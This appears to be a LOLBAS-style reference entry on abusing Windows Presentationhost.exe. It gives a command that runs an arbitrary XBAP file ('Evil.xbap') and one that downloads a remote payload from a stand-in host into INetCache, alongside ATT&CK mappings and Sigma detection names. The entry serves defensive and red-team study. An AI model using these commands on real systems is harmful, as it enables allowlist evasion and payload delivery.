



# /Presentationhost.exe Star

Execute

Download (INetCache)

File is used for executing Browser applications

### Paths:

C:\Windows\System32\Presentationhost.exe  
C:\Windows\SysWOW64\Presentationhost.exe

### Resources:

- <https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf>
- <https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/>

### Acknowledgements:

- Casey Smith ([@subtee](#))
- Nir Chako (Pentera) ([@C\\_h4ck\\_0](#))

### Detections:

- Sigma: [proc\\_creation\\_win\\_lolbin\\_presentationhost\\_download.yml](#)
- Sigma: [proc\\_creation\\_win\\_lolbin\\_presentationhost.yml](#)
- IOC: Execution of .xbap files may not be common on production workstations

## Execute

Executes the target XAML Browser Application (XBAP) file

```
Presentationhost.exe C:\temp\Evil.xbap
```

**Use case:** Execute code within xbap files  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10  
**ATT&CK® technique:** [T1218: System Binary Proxy Execution](#)

## Download

It will download a remote payload and place it in INetCache.

```
Presentationhost.exe https://example.com/payload
```

**Use case:** Downloads payload from remote server  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)  
**Tags:** [Download: INetCache](#)